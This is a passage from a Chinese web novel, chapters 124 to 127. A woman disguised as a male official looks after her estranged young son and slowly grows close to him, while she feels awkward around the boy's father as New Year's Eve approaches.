寻真惦记着里屋的谢漼,几次试图结束对话,可潘竞谈兴正浓,话匣子一旦打开,便滔滔不绝,说个没完没了。 寻真早就发现,潘竞是个话痨,以往与他唠,还觉得挺有意思的,可这回屋里藏着个“定时炸弹”,她完全没心情。 寻真看着潘竞的嘴皮子上下快速翻动,只觉得脑仁有点疼,好几次她试图将对话引向结束,潘竞总能扯出一个新的话题。 潘竞一合掌,忽然想起什么,指一旁案上的酒:“那是我从胡商手中买来的紫醴,乃十年陈酿。我已尝过,醉人得很!” 寻真:“多谢子尚。” 潘竞:“过几日,等你身子彻底利落了,我再来寻你,到时,咱们一同食炙肉,饮美酒,如何?” “今个我不请自来,只因偶得两坛佳酿,便想着送你一坛……我瞧你精神欠佳,便不多扰,你好生歇着,我走了。 寻真:“好,下回再聚。” 寻真将潘竞送到门口,挥手作别,然后把门闩上。 回去,寻真进了里屋。 谢漼立在墙前,看着寻真从集市摊上淘来的字画。 寻真:“潘竞已走了。” 谢漼没有看她,朝外走去。 到了正堂,谢漼先是看了眼案上的酒坛,又扫了眼潘竞和寻真方才用过的茶壶与茶杯,没有落座。 大高个在正堂中央杵着。 寻真弄不明白他的心思,走到他面前,试探问道:“……我们继续?” 寻真瞧了瞧那壶茶,刚才潘 竞没怎么喝,还剩了许多,重新泡一壶就浪费了,便取了个干净杯子,将潘竞用过的杯子倒扣,给谢漼倒了一杯。 “……大人?” 谢漼还立在原地,负手,垂眼看着她,道:“今日便到这里吧,下回我若再来,还是一样,先传信给你。” 寻真:…… 寻真:“哦。” 谢漼离开时,又往那酒坛处扫了一眼。 谢漼返回苏州城,走进谢璋房间。 小男孩坐在案前,手托着腮,望着窗外发呆,表情苦巴巴的。听见声音,也没有转过头来看。 谢漼:“恒哥儿,我回来了。” 谢璋眼珠转动,瞄了一眼。 谢漼在一旁坐下:“我还道恒哥儿因何而苦恼,原是错以为你娘有了别的孩子。” 话音一落,谢璋的身子转过来,面向谢漼,小小的脸上写满了疑惑。 谢漼:“那孩子是别人家的。” “你娘在这世上,只有你一个孩子。” 那对大眼睛亮了一下,又很快暗下去。 显然是没信。 谢漼略去了一些细枝末节,将苏氏案件讲给谢璋听。谢璋虽苦着小脸,但下意识坐直了身体,竖起耳朵认真听。 “……之后,你娘便让苏氏和其女,住在她家中了。” 谢璋这才信了,可脸上依旧不见笑。 谢漼:“恒哥儿怎这般胆小,都见到你娘了,竟直接逃了。” “若是当时进去问上一句,便知真相了。也不至于让自个伤心难过这么久。” 谢璋垂着头。 谢漼上前,试探性地将牌位拿起来,谢璋这回未阻拦,只是仰起头瞧着牌位,眼中含着几许不舍。 谢漼:“都已跟恒哥儿解释清楚了,怎还愁眉苦脸着。” 谢璋声音低低的:“她对别人的孩子都这么好……” 谢漼轻叹一声,抚谢璋的后脑:“这也怪我。你出生后,便被抱离你娘身边,交由旁人抚养,造成如今这局面,是我的错。” 沉默数秒,谢璋的手捏着椅子扶手,食指有一下没一下地划着木材,犹豫再三,还是问:“……那我,要怎样做,才能叫她喜欢我呢?” 谢漼:“多相处便可。我自会帮你约她相见。” “你娘并非铁石心肠之人,只要你嘴甜些,多帮着她做事。怀着一颗诚心,自能打动她。” “何况,你与她血脉相连,是谁都无法拆散的。” “你可不能再像以前那般由着性子来,惹你娘生气了。若心里委屈,也得忍一忍,可记住了?” 谢璋乖乖地点点头:“嗯,我知道了。” 第124章 第124章“一大一小” “哥哥,有人找你。” 大早上的,寻真又被甄凌叫醒了。 甄凌这么说,应该是不认识的人,寻真一边系着衣襟,一边问她,“谁啊?” “……说是你的同僚呢,我已叫他进来了。” 甄凌不认识的同僚,是哪个? 寻真走入正堂,会客塌上的青年闻声起身,冲她作揖,道:“竞舟,叨扰了。” 寻真惊讶道:“怀逸?” 范岂怎么知道她家地址? 下一刻,范岂便解释道:“竞舟,我此番来昆山县访友,便问了子尚你的住址,顺道也来看看你。” 寻真点点头,原来是这样。 甄凌已上好了茶,寻真在一旁落座。 闲聊片刻,范岂像是忽然想起什么似的,道:“苏州新任刺史已到任,竞舟可有所闻?” 寻真:“……嗯。” 范岂:“说来,这位刺史与我有些渊源。” 寻真顺着他的话问:“有何渊源?” 范岂道:“那新任刺史,与我是同年。” “圣上钦点他为状元,称他有经纬之才,那时我年轻气盛,难免心生妒意……若不是后来被人点醒,恐至今困于执念。” 点他之人就在眼前。 寻真却毫无察觉。 心中只想,那谢漼暗地里应该拉了不少仇恨值吧? 寻真:“怀逸如今可释怀了?” 范岂:“如今我只知,尽心做事,不悖天道,不负黔首。求得心安便好。” 寻真:“正是。” “怀逸,若我处你之境,早学那缩头乌龟,明哲保身了。可你偏偏敢迎难而上,此等风骨、胆识,实在让人佩服!” 范岂注视着她,喉头微动,眼眶泛红,正欲开口:“其实……” “竞舟,我……” 寻真:“嗯?” 清晨,坊间很安静,只有几声零落的鸡鸣,远处忽传来木轮碾过青石板的辘辘声,由远及近,在空荡的巷间撞出清响。 寻真猛地想起,前日,谢漼传信给她,今天要带谢璋过来。 她睡糊涂了。 寻真看向范岂。 范岂嗫喏着:“竞舟,其实,其实我已知……” 那声音越来越近,寻真直觉是谢漼来了,也顾不得听范岂的话,连忙道:“怀逸!我与旁人有约在先,所议乃机密要事,能否请你先回避?” 范岂微怔,道:“好,那我先行一步……” 寻真注意力全在外面,屏息凝神,耳尖捕捉着院外动静。两道脚步声交错,一道稍轻,离院门越来越近。 几乎可以确实是谢漼和谢璋了。 寻真看了眼范岂,见他磨磨蹭蹭,便有些着急。 范岂见她神色,脚下加快几分。 二人刚跨出正堂,院门便传来叩击声。 遭了,那门是开着的! 寻真指了指后面,道:“怀逸,劳烦你从后门走,可好?” 范岂一愣,点点头,往门口看了一眼。 心道,这是谁来了。 见范岂步子迟缓,寻真实在着急,索性拽住他手臂,往后门走:“怀逸,随我来。” 范岂任她拉着,没有任何抗拒,耳根都熟透了,眼睛不敢看她,轻声应道:“好。” 到了后门,寻真歉然道:“怀逸,改日再聚。” 范岂:“好。” 寻真解决完范岂,深吸几口气,出去开门。 院门虚掩着,轻轻一推便可推开。门外之人却很守礼,没有直接进来。 打开门,一大一小立在门口。 今日,谢漼穿得就没那么素了,身着淡紫锦袍,衣摆绣着粉白色海棠,清雅不俗,让人眼前一亮。谢璋也穿了同色系小袍,款式和绣图跟谢漼身上这件一样。 这是亲子装。 寻真的目光落在谢璋身上。 谢璋站得笔直,神色拘谨,看上去有些紧张。 见寻真望来,竟连眼珠都不敢转动了,似乎更紧张了。 那日只看了一眼,没什么感觉。 今日见着,谢璋的确变了很多。 好像是……乖了? 寻真:“进来吧。” 谢璋亦步亦趋地贴着谢漼,因紧张不安,小手不自觉地揪着父亲的衣摆。谢漼轻轻拍了拍他的肩膀,无声安抚。 进了正堂后,谢漼对谢璋说:“恒哥儿,你先去外头待一会儿,我与你娘有话要说。” 谢璋嗯了一声,出去了。 走到院子里,四处看了看,寻了把小椅子,背对着屋内二人,坐下了。 寻真看了眼谢璋,又将目光转回谢漼,等他开口。 谢漼开口就丢下一个巨雷:“我想将恒哥儿托付于你,你可愿收留?” 寻真还以为自己听错,呆愣片刻,才茫然地吐出一个字:“……啊?” 谢漼看着她道:“近日公务缠身,实在无暇照料恒哥儿。若交由仆人照顾,恐疏忽了他,倒不如让他在你身边,我也能放心。” “你意下如何?” 寻真:“这样,不好吧……” “我时常与同僚往来,旁人见了恒哥儿,该如何解释?” 谢漼:“无妨。若有人来访,让他暂避内室,不让人瞧见便是。” 寻真:“这年纪正是读书的关键时期,我最多只能管他吃住,万一耽误了他的学业,就不 好了。” 谢漼:“这一点你也不必担心。如今我也很少教他,让他自己学便可。” “纵他有不懂的,你如今进士出身,还怕教不了他?” “况且,我有空便会来此。他学业一事,你无需挂怀。” 寻真:“可他这么小的年纪,让他住在完全陌生的环境,能适应吗?” “而且,我与他许久未见,形同陌路,你可有问过他的想法?” 谢漼:“你是他生母,血脉相连,何来陌生之说?” “我上回与你说的,你又忘了,能与你同住,恒哥儿自是求之不得。” 寻真想不出拒绝的理由了,便妥协了,问道:“那他要住多久?” 谢漼道:“到年末,我便来接他。” 年末。 也就是五个月…… 寻真又想到了一点,委婉表示:“家中只有甄凌和小蝶,甄凌如今是我妹妹了,小蝶是我请来管家的。我这儿没人伺候他……我怕他不习惯。” 谢漼:“这点你更无需担忧,恒哥儿随我,不喜旁人近身伺候。” “穿衣洗漱皆能自理,无需他人伺候起居,只是不会下厨,你只需供他吃喝便好。” 寻真:……哦。 谢漼说完谢璋的事,便起身告辞,走到院里。 谢璋见谢漼来了,立刻站了起来。 一大一小面对面聊着,谢漼似是在叮嘱什么,谢璋仰着小脸认真听,不时点点头。 待谢漼离去,谢璋站在院子里,与屋内的寻真对视。 小男孩攥着衣角,眼神怯生生的。 寻真走出去,微微弯下身子,看着谢璋,道:“……恒哥儿,你先进来吧。” 谢璋点了点脑袋,两只大眼睛一眨不眨地看着她。 此时,小院后门处,范岂并未离去。 他绕到前方,躲在不远处的树后,看着门口处,许久,站得脚有些酸麻了,终于等到了。 看见那人,一瞬间,失落与酸涩涌上心头。 原来,自己白跑一趟。 谢漼他已知道了。 甄凌见谢璋来了,高兴地将零嘴都拿出来,见寻真沉默地坐在一旁,凑到她耳边,轻声问道:“你怎不与恒哥儿说说话?” 寻真也压低声音对她说:“我不知道说什么……” 甄凌走过去问谢璋:“恒哥儿,可想看书?我带你去书房挑些书看?” 谢璋:“好。” 谢璋跟着甄凌去书房,离开正堂时,看了寻真一眼。 谢璋记性好,一看见甄凌的脸,便记起来了。 是以前娘院中的丫鬟。 心中对谢漼的话起疑了,真的是娘的转世吗,他怎感觉是同一人呢? 谢璋问甄凌:“我应该唤你什么?” 甄凌一时语塞,不知如何作答。 谢璋又问:“你如今与我娘是什么关系?” 甄凌:“妹妹。” 谢璋:“我知道了,我该唤你作‘姨母’。” 这一声“姨母”,喊得甄凌心头一暖。 恒哥儿怎这般乖。 谢璋既住下了,便瞒不过小蝶。用饭时,寻真将谢璋介绍给苏小蝶,只说是远方外甥小恒。 苏小蝶打量着谢璋,笑道:“上回小恒来过吧?我就说看着眼熟,和大人长得真像。” 寻真:“嗯,我们与小恒很久没见了,所以那日便一时没认出来。后来小恒拿家中信物给我们看,便知道了。” 谢璋听着,心扑通扑通的跳,脸蛋也变得粉红了。 谢璋确实如谢漼所言,自理能力挺好,还会主动帮忙摆碗筷、端饭菜。 甄凌见了,惊得眼睛都瞪大了,连忙阻止,怎能让恒哥儿做这种事! 寻真:“没事,不过是举手之劳,又不费劲。他愿意,就让他做吧。” 谢璋点点头。 一日下来,寻真觉得也没那么麻烦了。 乖孩子容易让人产生好感。 不过是多添一双筷子罢了。 天暗了下来,谢璋在书房看书,望了望窗外,起身寻人,碰见了甄凌,便问:“姨母,我娘呢?” 甄凌指了下:“在屋里。” 寻真正趴在床上看书,听见敲门声。 “进来吧。” 寻真歪头过去看,是谢璋。 谢璋嘴唇动了动。 在她面前,便有些叫不出娘了。 他局促地揪着自己的手指,半晌,才小声问道:“……我睡哪里?” 第125章 第125章“娘…” 寻真哦了一声:“跟我来。” 寻真领着谢璋到了西厢房,因空间小,这里一直被当作储物间,下午,她跟甄凌费了好大功夫,才将积灰和蛛网清扫干净,又去集市,临时买了床褥、被子和枕头。 房间虽小,五脏俱全,床、书桌、书架和坐塌都有。 谢璋进了房间,脑袋转来转去,看上去很兴奋的样子。 目光最后落在那张床上,床单、被罩和枕套都是鹅黄色,正是孩童喜欢的鲜亮颜色,上面绣的图案是小鹿。谢璋走过去,摸了摸柔软的被子,转过身来看寻真,眼睛亮晶晶的,腼腆问道:“这里……以后是我的房间了吗?” 寻真嗯了一声。 谢璋弯起了眼睛。 那股子开心劲儿,搞得好像他从没有过属于自己的房间。 第二日要上值,寻真就没懒觉睡了。 这么多年了,寻真还是不能做到自然醒,这里又没有闹钟,她只好拜托甄凌每天叫醒自己。说起来,她挺佩服甄凌,甄凌从不睡懒觉,天一亮,就能自动醒来。 寻真被甄凌叫醒,连连打着哈欠。 甄凌道:“小恒也起了呢。” 寻真惊讶道:“他起这么早干嘛?” “……是昨晚没睡好吗?” 甄凌摇头,道:“我也问了,他说是平日就习惯这个时辰起床。” 早餐摆在院子里的石桌上,冒着腾腾热气,谢璋端正坐在石凳上,等到寻真露面,他立刻站了起来。 寻真还困着,随手抓起一个馒头就啃。 见她开始吃了,谢璋这才慢条斯理地开始用早膳。 寻真:“咱们这儿没那么多讲究,下次不用等我,先吃就行。” 谢璋:“这怎可以?” “长辈未动箸,晚辈先食。这不合礼数。” 寻真的动作陡然停住。 这话,让她幻视谢漼了…… 五日相处下来,寻真发现,谢璋被谢漼教成“小老头”了。 用餐礼仪、坐姿仪态,挑不出任何毛病,甚至,谢璋每日早晚还要向她来请安。每次吃饭,他总要等寻真入座才肯坐下,寻真让他无需这般拘束,随意些,他也不听。 休沐日,午后,院子里。 寻真吃完饭,在躺椅上晒太阳,谢璋搬来一把小椅子,指了指她边上的位置,问:“我可以坐这里吗?” 寻真:“嗯。” 谢璋便捧着书安静地看起来,过了一会儿, 他听见均匀的呼吸声,悄悄侧目,见寻真已经睡着了,连翻书的动作都下意识地放轻了。 这时,门口传来敲门声。 谢璋轻手轻脚地走去开门,看见来人,眼睛瞬间亮了,轻唤一声,“爹。”见谢漼要开口,忙竖起手指抵在唇前,压着声音,“娘睡着了。” 谢漼点了点头,跟谢璋一同进去。不远处的甄凌见状,悄悄回了屋。谢漼立在寻真边上,静静地凝视着。 寻真睁开眼,看见两双相似的眼睛齐齐注视着自己,吓得身子一颤。 问谢漼:“你……什么时候来的?” 谢漼:“方才。这几日,恒哥儿没给你添麻烦吧?” 寻真摇头:“他很乖。” 听到这话,谢璋脸蛋微微红了,眼睛也亮闪闪的。 谢漼:“那便好。” 自那以后,谢漼来得愈发频繁,几乎寻真每个休沐日都现身。 这让寻真连外出活动都成了奢望。后来,她试探着对谢漼说,反正他是来看谢璋的,自己就直接出门了——尽管谢漼当时脸色不太好看。 寻真终于答应了潘竞的爬山邀约。 潘竞:“竞舟身子调养好了?” 寻真:“是啊!可算能出门透透气了!” 当天,寻真往布袋里装食物和水壶,准备出门时,衣摆突然被人从身后拉住。 回头一看,是谢璋。 平日里,谢璋总是一副腼腆、规规矩矩的模样,倒真像她们对外宣称的“亲戚家的小孩”。可今天不知怎么,竟大胆地主动拉住了她的衣服。 在这儿住得久了,谢璋也渐渐发现了端倪。 寻真每日早出晚归,作息五日一休,再加上她的装束,还有饭桌上偶尔会提及的衙门案件、同僚趣事,以及苏小蝶唤她“大人”,这些线索串联起来,让他隐隐猜到——娘如今恐怕是扮作男子,在衙门上值。 怪不得爹说她是娘的转世,还叮嘱他千万不能说出去。若旁人来了,便要躲进屋里,不让人看见。 谢璋读了这些年书,自知其中利害。就算没有父亲提醒,他也绝不会把娘的秘密说出去半个字。 寻真问:“怎么了?” 谢璋嘴唇动了动,终于唤出来了:“娘要去哪里?”说完,脸轰的热了起来。 寻真听着谢璋叫她“娘”,有种得了个便宜儿子的莫名别扭感,浑身不自在:“那个……小恒,要不……你像叫凌凌那样,喊我姨母?” “嗯……私下叫姨母,对外就称舅舅?” 第一次叫“娘”,谢璋本还有些不好意思,听寻真这么说,眼睛瞪大了,道:“这怎可以?” 寻真:“反正叫我什么都可以,叫我名字也行,就是别叫……” 话未说完,寻真就见着,谢璋眼眶迅速泛起泪花,湿漉漉的大眼睛里满是委屈。 “哎,你别……” 谢璋心里难受极了,本想转身跑开,却记起父亲的话,娘得了失忆症,不愿认他也是情理之中。若此刻任性哭闹,只怕惹她厌烦。 于是,谢璋把眼泪憋了回去。 寻真回答谢璋方才的问题:“我是去与友人爬山。” 谢璋:“可是……爹一会要来。” 寻真:“我知道,他是来看你的。你在家等着,帮他开下门。” 谢璋仍攥着她衣角没有松手,嘴唇蠕动着,话在舌尖打转,最终又咽了回去,一副满心纠结却不敢开口的模样。 寻真指了指天色,道:“小恒,我与人家约好了,再迟可就失信了。” 谢璋这才松了手,站在原地,水润润的大眼睛瞅着她。 倒是有点可爱。 寻真心想,到底是孩子,正是贪玩的年纪。她出去玩,把他独自撇在家里,确实有些说不过去? 但谢璋身份特殊,对她来说是一颗随时会爆的雷,收留他已很冒险了。又怎能带他出去? 这样想着,寻真弯下腰,对面前的小男孩说:“小恒,等我回来,给你带街上的吃食,好不好?” 脸凑得这么近,还这般柔言软语。 如此温柔的相待,对谢璋来说,是生平头一遭。 寻真呼出的气息扫过谢璋的耳畔,刹那间谢璋胸腔鼓动,连带着呼吸都乱了节奏。 谢璋头点得像捣蒜,白皙的耳尖漫上绯色,脖颈也泛起薄红。 害羞、可爱又讲礼貌的小男孩。 更何况,还长得这么好看。 寻真注视着他,微笑道:“那我先走了?” 谢璋捏着衣角:“……嗯。” 寻真摸了摸谢璋的头,道:“小恒等我回来,给你带好吃的。” 谢璋红着脸蛋:“……嗯。” 谢漼来时,谢璋还沉浸在被娘摸头的雀跃中,整个人飘飘然,恍若踩在云端,脑子也晕乎乎的。 谢漼问道:“何事这般欢喜?” “娘摸我头了!”谢璋忍不住向父亲分享喜悦,“还说会给我带好吃的呢。” 谢漼点点头,并没有被谢璋的快乐感染到:“你娘去哪了?” 谢璋:“说是跟好友爬山去了。” 因寻真提前说过,谢漼倒也不意外。 “爹说得对,只要我乖乖的,娘就会慢慢接受我了……”谢璋说着又叹了口气,“若我早听爹的话就好了。” 寻真踏着夕阳归来,见谢漼和谢璋并排坐在院中,两人同时望过来。 谢璋“唰”地起身,三步并作两步跑来,目光在她脸上与手中布袋间来回打转。 寻真从布袋里掏出酥饼与如意糕,分给谢璋。 谢璋双手接过,弯着眼睛道谢,“谢谢娘!”转身时脚步轻快得像只雀儿。 迎着谢漼的目光,寻真上前,一时语塞,只好问:“你……什么时候来的?” 谢漼:“今晨。” 谢璋抢着补充:“娘前脚刚走,爹后脚就到了!” 寻真:哦…… 寻真抿唇,又问:“那你……何时走?” 寻真问出口,谢漼没有回答,气氛明显冷了下来。谢璋察觉到了什么,停下吃饼,瞅瞅寻真,又瞅瞅谢漼,不安地在两人间来回打量。 良久,谢漼起身:“这便走了。” 屋内,甄凌正在准备晚膳。得知谢漼离开,她把寻真拉进屋,问道:“你赶他走啦?” 寻真:“没有啊,我只问了句,什么时候走,然后他就走了。” 甄凌:“这与赶人有何分别?” 寻真没说话,甄凌犹豫着说:“其实,这般处着……也挺好的。你如今身份,不能再有姻缘了,既然他……还对你有情,何不……” 寻真:“你在瞎想什么呢?若被人发现我们的关系,我们两个都得完蛋。还有,你说他对我还有情,我看不见得。” 甄凌:“若非在意,怎会每逢你休沐,都从苏州城赶来见你?” 寻真:“算了,不说这个了。” 寻真截断了这个话题。 夜里,寻真洗漱完,敲门声响起。 寻真披衣开门,见是谢璋,问:“何事?” 谢璋嗫嚅着,唤了一声“娘”。 寻真虽仍不适应这称呼,但还是由着他叫了。 “进来说吧。” 谢璋进来后,咬着唇犹豫许久,才小声问:“娘,你在生爹的气吗?” 第126章 第126章“留…他一晚” 寻真一怔,反问道:“没有,你怎么突然这么问?” 谢璋搓着自己的衣服,小声道:“爹走时,似是很难过呢……” 只能说,到底是亲父子,谢璋竟能从谢漼那毫无表情的脸上,猜出他的心思? 寻真反正是觉得,六年没见,谢漼愈发深沉难测了。 寻真:“是吗?你如何瞧出来的?” 谢璋:“看爹的眼睛便知道了。” 寻真哦了一声,对上谢璋忐忑不安的目光,不知该说什么,便又重复:“我没生你爹的气。” 谢璋这才放下心来,展颜,规规矩矩行了个礼:“那孩儿告退,娘早些歇息。” 谢璋得了甜头后,脑瓜子开始灵光了。 谢璋渐渐摸索出与寻真相处的窍门。 在寻真当值期间,谢璋发现甄凌每日寅时四刻前必去唤醒她,便主动向甄凌求恳,把这活儿抢了过来。 清晨,寻真半睡半醒间,似乎听到有人在唤自己,那声音很轻,不是甄凌的,寻真就没管。 直到一只温热的小手贴上她的脸颊,轻轻推了推。 寻真朦胧睁眼,眼前是谢璋的脸。 他正趴在床边,眸光澄澈明亮:“娘昨日睡得可好?” 寻真:“……小恒?” 谢璋:“娘,我替姨母来唤您起床……” 寻真有些臊,让小孩叫自己起床太说不过去了吧…… 但谢璋执意如此,每日乐此不疲,寻真见他当“闹钟”当得这么快乐,就不打击他的积极性了。 寻真多少有些不好意思,便每日散衙都带回些街边小吃。谢璋收到时,眼睛瞬间就亮了,欢喜得连耳尖都红了。 寻真心想,这小孩也太容易满足了吧。 至于谢漼,几乎每逢寻真的休沐日都会来。 寻真现在与谢漼相处,平平淡淡的,表面看似波澜不惊,寻真却总觉得气氛紧绷,哪里都怪,便变着法子错开见面时间。 自上次“赶人”后,她傍晚回去时,谢漼已不在了。 次数多了,谢璋忍不住问:“娘……您是不是在躲爹?” 小孩言语直白,毫无遮掩。 让寻真尴尬了许久。小的都发现了,大的肯定也知道。 寻真盼着年末,到了约定之期,谢璋便要回去了。 朝夕相处下来,寻真对谢璋已不像当初那么排斥了,可谢璋在一日,谢漼便总是要来,时刻提醒着她过去的身份,总让她隐隐不安。 临近年末,谢漼忙碌起来,要接见各地县令,对辖区内的官员进行考核。今年,寻真没与潘竞同去苏州城。 谢漼一个月没来。 寻真都放春节假了,谢漼还没来把谢璋接走。 春节依例“元正前后各三日”休假,元正也就是正月初一,一共放七天。 放假第一天,午后。 暖阳融融,寻真躺在院子里的躺椅上,琢磨着谢漼的话。 谢漼说的年末,该不会要拖到最后一天才来吧? “娘。”谢璋端着一盘刚出锅的春饼,放到寻真手边的几上。这是甄凌刚做好的。他听到动静便小跑着去端来,跑腿跑得格外殷勤。 谢璋整日“娘、娘”地喊,寻真还是没有当娘的实感。 寻真:“谢谢小恒。” 谢璋抿唇,腼腆地笑:“这是我该做的。” 寻真吃着春饼,目光凝在谢璋身上。 谢璋坐在小竹椅上,双腿并拢,腰背挺直,吃东西也是斯斯文文,小口小口吃,见寻真凝视,即刻放下春饼,问道:“娘,孩儿可有不妥之处?” 寻真摇摇头,心里嘀咕。 总感觉有哪里不对劲。 寻真:“没什么……” 寻真看不出来,就不想了。 春节期间,昆山县内年味盎然。家家屋檐下悬着大红灯笼,门上贴桃符,远远望去一片喜庆。集市中央搭着彩楼,整日锣鼓喧天,乐舞杂戏、祭灶拜祖,每日都有不同的活动。 寻真爱看热闹,往年定会拉着甄凌到处吃吃喝喝,今年多了一个谢璋,为安全起见,三人便都不出门。寻真和甄凌闲着没事,就在院里捣鼓新菜式。 整日宅在家中着实无聊,寻真搬出棋盘来解闷。 说起来,她这围棋水平也就半瓶子晃荡,跟纪慎、潘竞他们下,十回有九回输,也就对上武岳,才能找回些自信。 寻真:“小恒,你想下棋吗?” 谢璋重重点了一下头,那认真劲儿,跟要下场考试似的。 棋盘摆开,二人相对而坐,寻真见他肩背绷着,瞧着紧张得很。 寻真边嚼着点心,边随意落子。 反观谢璋,坐得板儿正,目光凝于棋盘,神情专注,每一步都深思熟虑,显然是下得十分认真。 寻真见他如此郑重其事,如临大敌,忍不住说道:“我们就是随便下着玩儿,又不是考你围棋本事,不必如此紧张,放松些。” 谢璋应了一声,可依然保持着高度的紧张,明亮的大眼睛一眨也不眨。 然后,寻真很快输了! 寻真震惊看着棋盘,一个没注意,怎么就兵败如山倒? 输得过于快了! 谢璋看着棋局,眸中迸发出光,看向寻真,挺了挺胸脯,像是急着要表现自己的样子:“娘,我赢了。” 满脸求夸夸、求顺毛的样子。 寻真看着他那高兴样儿,夸不出来! 是了,谢漼说过,谢璋三岁的时候,棋艺就胜过很多初学者了。 谢璋没得到夸夸,偷偷瞥向寻真,见她面露郁闷,心里“咯噔”一下,脸上的得意劲儿“唰”地就没了,心说坏了,自己好像办错事儿了,若是自己输了,肯定也会失落的。 方才,不该急着要赢娘的。 谢璋咬咬唇,小心看向寻真,说:“娘,我们再来一局吧!” 谢璋已决定好了,一会不能一心想着要赢,表现自己了,让娘开心才是最重要的。 寻真:“算了,不下了。” 谢璋这脑子,好像是遗传谢漼的。 寻真便从里屋拿出一个棋盘,替换了围棋:“我们下这个,跳棋。” 谢璋好奇地注视着,咦了一声。 寻真:“怎了?” 谢璋瞅瞅寻真,面露赧色,似有愧意,犹豫再三,还是没说。 寻真便开始给谢璋介绍跳棋的玩法。 谢璋听完了,恍然:“原来是这样玩的……” 谢璋下棋时心不在焉,显然心思全不在棋盘上,似被旁的事儿扰了心神。 寻真很快赢了。 寻真收着棋子:“想什么呢?” 谢璋抬眸,澄澈双眸中隐现几缕悔意,踌躇片刻后,终于说了:“娘,我记得这棋盘……” 寻真:“嗯?你还在哪里见过?” 谢璋不敢看她,垂下眼睛,捏着自己的手指,吞吞吐吐:“就是,就是……爹第一次带我来看您……” “那时我便见到过了……” 说完,满脸羞惭,无地自容。 寻真茫然,回想着,好像是有这么一回事。 是哪一年来着? 寻真记得谢璋那会还很小吧,还要人抱的年纪。 他竟记得这么清楚。 谢璋见她半天不说话,心下惶惶,以为提起旧事,娘又恼他了。 谢璋眼圈立马红了:“娘,我小时不懂事,总让您伤心……那日还是您的生辰……” “娘,您能原谅我吗?” 谢璋湿着眼睛,凝睇着她,那模样,若寻真说出不原谅的话,怕是立刻便要落下泪来。 当然,正如谢漼所说,寻真自是不会与不通世事的孩童计较。 寻真:“好,我接受你的道歉了。” 谢璋嘴角刚往上翘,像是突然想起了什么,嘴角又垮了下来。 “还有……” 既已鼓起勇气说出来,便将另一件耿耿于怀的事也说了。 “那日……我还使性子,将娘给我做的玉佩摔坏了……” 还是个敏感的小男孩。 这件事,谢漼已跟寻真解释过了。 寻真心想,那玉佩本就是临时赶工,自己当时确实也没花太多心思,摔了就摔了吧。 见谢璋满脸紧张在意,寻真不禁伸出手,揉了揉谢璋的脑袋,笑道:“没关系,其实,上回那个我是做失败了,后来才临时让人重新买了一个,所以摔坏了也没什么可惜的,本来也是残次品。” 谢璋的脸粉粉的,轻轻“嗯”了一声。 长久以来积压在心中的郁结,终于得以倾诉和化解,谢璋心里一下子轻松了许多,仿佛卸下了沉重的包袱。 谢漼果然卡着最后一日来了。 谢漼到时,寻真正与谢璋在院子里下跳棋。 谢璋一个多月没见到谢漼,还是很想他的,蹭地站起来,激动唤了一声:“爹!” 谢漼应了一声。 到了年底,小蝶便带着晓晓回娘家了,寻真给她包了个大红包。 院子里就剩他们四个。 谢璋拉着谢漼到石桌边,“我正同娘下棋呢。” 寻真把位置让给父子俩,往厨房走去。 谢漼看着寻真,直到门扉掩上,才转开视线,低头看棋盘。 谢璋仰着小脸,眉眼弯弯:“爹,我跟娘道了歉,娘不生我的气了!” 灶台腾起的热气裹着饺子香,将厨房熏得雾气朦胧。 甄凌对寻真道:“今日可是岁除,你可不能再将人赶走了。” 寻真夹了一个饺子吃,含糊应了一声。 甄凌:“我已将东厢房收拾好了,今晚便留……他住宿一晚。” 寻真惊讶:“……你什么时候收拾好的?” 甄凌:“自是趁你晌午犯困时。” 寻真:“……哦。” 寻真拿起一串油炸小麻花,慢慢吃着,目光投向窗外,落在谢漼谢璋二人身上。 谢璋在谢漼旁边,特别显小,小小一只,明明都已十一岁了…… 想到这里,寻真突然意识到谢璋哪里不对劲。 谢璋都十一岁了,怎么还没有明显的发育迹象 呢,好像只比六年前高了一点点? 不对啊,寻真盯着谢漼。 他们家有高个基因的啊…… 寻真思维扩散着,不经意间与谢漼的目光对上了。 心蓦地跳快了一拍。 第127章 第127章“体息” 寻真别开眼,离开窗前,寻了个小板凳坐下。 谢漼收回视线,指尖摩挲着棋盘纹路,谢璋凑到谢漼身侧,扯扯外袍,仰起脸贴着他耳朵,小声叫他:“爹。” 谢漼:“嗯?” 谢璋:“爹,我已帮你问过娘了……” 谢漼:“问了什么?” 谢璋:“我问娘有没有生你的气。娘说没有。” 天渐渐暗了,甄凌和寻真二人一起备好了一桌守岁筵,甄凌放下挽起的衣袖,解下蔽膝与罩衣,转头看向寻真:“你与我一道出去,叫……他留下用年饭吧?” 寻真支吾了一声。 甄凌拉住她的手,出了厨房,“走。” 二人出来,院中对弈的父子俩同时抬眼。 谢璋:“娘,姨母。” 甄凌应了声,目光转向谢漼:“天色已晚,大人留下用饭吧?今晚守岁,不宜远行,若不着急,便在我们这小宅歇一晚?” 谢漼闻言,视线从甄凌脸上挪向一旁的寻真。 甄凌问完,谢璋便点点头,见谢漼沉默,又悄悄扯了扯他衣角示意。他还不知道,若谢漼离开,自己也得跟着走。若知道,怕是早就着急地替谢漼应下了。 甄凌捏了捏寻真的胳膊,寻真的目光才从院角的橘子树上收回,飞快瞥了眼谢漼,又垂眸盯着地。 一阵诡异的沉默后。 谢璋来回打量三个大人,很快察觉关键所在,小声唤道:“娘。” 寻真抬起头:“……今日便留下来用饭吧。” 谢漼与她目光相撞,须臾,缓缓吐出一个“好”字。 见事情成了,甄凌眉眼带笑,拉着寻真退回到厨房,望着厨案上满满当当二十多盘菜,道:“一会儿我把菜分成小盘,自个儿回房用饭去。你们三人难得团聚,我便不掺和了。” 寻真端详着甄凌神色,哪能猜不透她心思。 “这怎么行?守岁筵自然要一家人一起吃,我怎会丢下你一个人?” 寻真一个人吃了五年,自是知道这是什么滋味。 甄凌:“可我……与他同桌吃饭,不自在,还是我自己吃吧。” 甄凌的思想要完全拐过来,还是很难。 寻真:“有什么不自在的?吃着吃着便习惯了。” “再说,这里是甄家,他们是客人,哪有主人单独吃,把主桌让给客人的道理?” 甄凌:“可是……” “没什么可是的。” 寻真指厨案上一整桌菜,凉盘热炒、鲜果甜羹,二十多盘,都是她俩忙了一下午才弄出来的。 “你费了这么大的劲才做出这些,凭什么不能做主桌?” 最终甄凌被说动了。不过,甄凌第一次与谢漼同桌吃饭,难免放不开,整顿饭都没说话。倒是谢璋兴奋异常,主动挨着寻真坐下,小短手够不着远处菜,寻真便频频为他夹菜。 